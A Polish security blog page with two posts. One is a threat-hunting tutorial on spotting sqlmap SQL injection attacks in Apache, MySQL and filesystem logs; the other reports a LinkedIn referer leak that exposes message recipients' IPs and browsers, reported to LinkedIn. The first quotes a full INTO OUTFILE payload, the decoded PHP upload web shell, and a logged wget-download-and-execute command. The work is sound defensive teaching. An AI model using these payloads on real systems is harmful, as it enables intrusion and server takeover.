poniedziałek, 7 sierpnia 2017

Aktywne wyszukiwanie zagrożeń na przykładzie ataku SQL injection

Threat hunting to aktywne wyszukiwanie zagrożeń, jest to swojego rodzaju proaktywna informatyka śledcza. Wyszukujemy zagrożenia zanim się wyeskalują, jesteśmy dzięki temu w stanie reagować w trakcie ataku albo niedługo po jego rozpoczęciu, zanim przykładowo dojdzie do wycieku istotnych informacji.

Jak przykładowo może zostać to zrealizowane w przypadku ataku SQL injection (SQLi)? Ostatnio opublikowałem wpis "Eskalacja uprawnień z wykorzystaniem SUID", który jest niejako wprowadzeniem do tego wpisu, dlatego zachęcam do zapoznania się z nim. Na wstępie dodam tylko, że nasze środowisko testowe jest uruchomione na systemie Linux Ubuntu, ma to przede wszystkim znaczenie jeśli chodzi o lokalizację ścieżek itp. W tym przypadku powinny być zgodne z systemem Debian oraz innymi bazującymi na tej dystrybucji.

Jeśli atakujący przeprowadzi następujący atak:
  • Wykorzystanie podatności SQL injection
  • Pobranie na serwer własnego oprogramowania
  • Wykorzystanie go w eksploitacji oraz ostatecznie dodanie nowego użytkownika
...to mamy wystarczająco dużo elementów aby wykryć taki atak na różnych poziomach jego aktywności. W pierwszej kolejności możemy na przykład monitorować logi serwera HTTP pod kątem symptomów ataków, na przykład wyszukując ataki przy pomocy reguł oprogramowania PHP-IDS. Jedną z anomalii mogą być też długie zapytania, szczególnie jeśli zwracają kod 200 (OK):

10.13.1.169 - - [07/Aug/2017:11:22:59 +0100] "GET /sqli/index.php?sqli=1%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27%2Fvar%2Fwww%2Ftmpuwujn.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--%20--%20oCxa HTTP/1.1" 200 367 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"

Symptomami ataku SQLi mogą być słowa kluczowe specyficzne dla języka SQL, takie jak:

SELECT, UNION, INSERT, UPDATE, DELETE, REPLACE, TRUNCATE

Warto również skupić się na tych, które są wykorzystywane w wielokrokowych atakach i służących do przeprowadzania operacji na plikach, w logach po ataku przy pomocy sqlmap znajdziemy:

OUTFILE, LOAD_FILE, DUMPFILE

Jeśli więc przeprowadzimy proste doświadczenie i wykonamy zapytanie, które wysyła program sqlmap:

mysql> SELECT * FROM foo WHERE id = 1 LIMIT 0,1 INTO OUTFILE '/var/www/tmpuwujn.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- -- oCxa
    -> ;
Query OK, 1 row affected (0.00 sec)

# ls -la /var/www/tmpuwujn.php
-rw-rw-rw- 1 mysql mysql 713 Aug  7 11:59 /var/www/tmpuwujn.php
# cat /var/www/tmpuwujn.php
1 Hello world<?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www/> <input type=submit name=upload value=upload></form>";}?>

Widzimy, że w ten sposób sqlmap wgrywa na serwer PHP shell i takie pliki mogą być również wykrywane przy pomocy automatycznych skanerów, w tym oprogramowania antywirusowego.

Jeśli w konfiguracji MySQL mamy włączone logowanie (standardowo jest wyłączone):

# grep general /etc/mysql/mysql.conf.d/mysqld.cnf
general_log_file        = /var/log/mysql/mysql.log
general_log             = 1

To zobaczymy te zapytania również w logu /var/log/mysql/mysql.log:

2017-08-07T10:22:59.292863Z    9 Query SELECT * FROM foo WHERE id = 1 LIMIT 0,1 INTO OUTFILE '/var/www/tmpuwujn.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- -- oCxa

Widzimy tutaj zgodność czasu i pokrycie z logami Apache (różnica godziny to kwestia strefy czasowej, może to zostać skonfigurowane). Aby ułatwić detekcję możemy wykorzystywać dla każdej aplikacji różnych użytkowników bazy danych, ponieważ powyższe zapytanie będzie poprzedzone połączeniem i wyborem bazy danych, w logach zobaczymy:

2017-08-07T10:22:59.292641Z    9 Connect user@localhost on  using Socket
2017-08-07T10:22:59.292726Z    9 Init DB foo

Symptomów ataków możemy więc szukać w różnych logach, jednak przy statusie 200 w logu serwera HTTP możemy zakładać, że zapytanie na bazie danych zostało wykonane. Anomaliami mogą być również niestandardowe nagłówki HTTP User-Agent takie jak w tym konkretnym przypadku sqlmap/1.0.8.2#dev (http://sqlmap.org), Python-urllib/2.7 oraz Wget/1.17.1 (linux-gnu):

10.13.1.169 - - [07/Aug/2017:11:22:59 +0100] "POST /sqli/tmpulnyy.php HTTP/1.1" 200 193 "-" "Python-urllib/2.7"

Wyszukiwanie możemy opierać także o komendy shell, ścieżki, adresy IP i nazwy hosta w polu zapytania HTTP:

10.13.1.169 - - [07/Aug/2017:11:24:17 +0100] "GET /sqli/tmpbwjqk.php?cmd=wget%20-q%20http%3A%2F%2F10.13.1.103%2Fdownload%2Faz%20-O%20whoami%3B%20chmod%20%2Bx%20whoami HTTP/1.1" 200 178 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"
10.13.1.169 - - [07/Aug/2017:11:24:23 +0100] "GET /sqli/tmpbwjqk.php?cmd=PATH=.%3A%24PATH%3B%20%2Fusr%2Fbin%2Ftest_suid HTTP/1.1" 200 178 "-" "sqlmap/1.0.8.2#dev (http://sqlmap.org)"

Tym sposobem wykryjemy również inne ataki takie jak Remote Code Execution (RCE), Server Side Request Forgery (SSRF), Remote File Inclusion (RFI), Local File Inclusion (LFI) czy Path Traversal itd.

Kolejnym elementem jest pojawienie się nowego pliku, monitorowanie możemy tak na prawdę w tym przypadku rozszerzyć na różne elementy, takie jak pliki utworzone czy modyfikowane przez użytkowników powiązanych z serwerem HTTP oraz bazą danych – w tym przypadku www-data i mysql. Ważnym aspektem jest również monitorowanie katalogów dostępnych przez stronę internetową, czyli przede wszystkim ścieżki występującej w dyrektywie DocumentRoot serwera Apache. W każdym przypadku do takiej detekcji może być wykorzystany inotify, który jest podsystemem jądra powiadamiającym o zdarzeniach w systemie plików. Przykładowo oprogramowanie OSSEC detekcję opiera na rozmiarze pliku, uprawnieniach (rwx), użytkowniku, grupie oraz funkcjach skrótu md5 i sha1 (zastosowanie dwóch mityguje problem potencjalnej kolizji) wyszukując w ten sposób zmiany, weryfikując integralność. Detekcja może być również płytsza i opierać się przykładowo na sprawdzaniu czasu ctime dla systemu plików ext4, np. przy pomocy polecenia find i w ten sposób wykryjemy nowe pliki jak również te, które zostały ostatnio zmienione.

Analogicznie możemy również wykrywać zmiany w plikach takich jak /etc/passwd oraz /etc/shadow aby wykryć zmiany w kontach użytkowników, w tym dodanie nowych kont. Następnie monitorowanie logów takich jak /var/log/auth.log, wliczając w to logowanie się nowych użytkowników na SSH (do tego celu może być wykorzystany /var/log/lastlog).

Jeśli chodzi o kwestie reverse shell czy chociażby pobierania pliku na serwer to możemy wykrywać połączenia zwrotne z użytkownika, z którego uprawnieniami uruchomiona jest aplikacja webowa. W przypadku iptables wykorzystując parametry uid-owner i gid-owner, o czym swoją drogą pisałem już w 2011 roku na moim techblogu (aktualnie już nie istnieje i odnośnik kieruje do archiwum stron internetowych).

Threat hunting jest połączeniem wiedzy z zakresu informatyki śledczej oraz testów penetracyjnych. Więcej informacji znajduje się w mojej książce, poświęconej analizie powłamaniowej:

„Praktyczna analiza powłamaniowa. Aplikacja webowa w środowisku Linux”
Adam Ziaja, Wydawnictwo Naukowe PWN

wtorek, 1 sierpnia 2017

Brak tagu rel=noreferrer w prywatnych wiadomościach Linkedin

Na dzień dzisiejszy istnieje możliwość korelacji odwiedzin na stronie internetowej z konkretnym użytkownikiem, któremu przesyła się odnośnik w wiadomość na stronie LinkedIn.

Przykładowo wysłanie odnośnika https://redteam.pl/konsultanci.html w prywatnej wiadomości znajduje odbicie w logach serwera HTTP:
198.51.100.5 - - [21/Jul/2017:10:25:54 +0200] "GET /konsultanci.html HTTP/1.1" 200 14118 "https://www.linkedin.com/messaging/thread/6294067405647937536/" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36"

Odnośnik https://www.linkedin.com/messaging/thread/6294067405647937536/ kieruje do konkretnej wiadomości (aby zobaczyć trzeba być uczestnikiem rozmowy) i pochodzi on z nagłówka HTTP referer przesłanego w wyniku braku tagu HTML rel=noreferrer.

Nagłówek HTTP referer zawiera adres strony internetowej, z której użytkownik został przekierowany za pomocą odnośnika. Jeśli w kodzie HTML zostałby umieszczony tag rel=noreferrer, to w takim przypadku nagłówek ten nie zostałby ujawniony.

Ujawnienie takich informacji to głównie kwestie prywatności – istnieje możliwość przypisania konkretnych odwiedzin i ruchu na stronie internetowej do konkretnego użytkownika, któremu przesyłamy wiadomość na portalu. Takie działanie może być wykorzystane w marketingu, ale nie tylko. W naszym przypadku istotny jest wątek bezpieczeństwa, ponieważ w ten sposób wysyłając wiadomości do kilku pracowników danej organizacji jesteśmy w stanie przypisać do nich konkretne adresy IP i informacje udostępnione przy pomocy nagłówka User-Agent, a nawet – za pomocą strony, którą odwiedzają – sprawdzić wersje wykorzystywanego oprogramowania.

Nagłówek HTTP User-Agent zawiera informacje o aplikacji klienckiej:
Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Przeglądarka Chrome w wersji 59 uruchomiona na systemie operacyjnym Windows 7 (Windows NT 6.1) w wersji 64 bitowej. Natomiast przykładowo dodatki mogą zostać wykryte przy pomocy enumeracji prostym skryptem JavaScript:


Dzięki informacjom o oprogramowaniu można wykorzystać konkretną podatność w nim występującą. Informacje takie jak adres IP z kolei nie tylko są celem do zdalnych ataków ale również wskazówką dzięki której możemy określić czy wszyscy pracownicy, którzy odwiedzili odnośnik, łączą się z jednej sieci. Jeśli w polu User-Agent znaleźlibyśmy informacje o urządzeniu mobilnym to dowiadujemy się, że za danym adresem IP kryje się sieć bezprzewodowa. Sprawdzenie revDNS z kolei może dostarczyć kolejnych istotnych informacji. Warto tutaj również wspomnieć, że cały ten proces może być zautomatyzowany i zintegrowany np. z kampanią phishingową.

Przed publikacją sugestia została zgłoszona do portalu LinkedIn.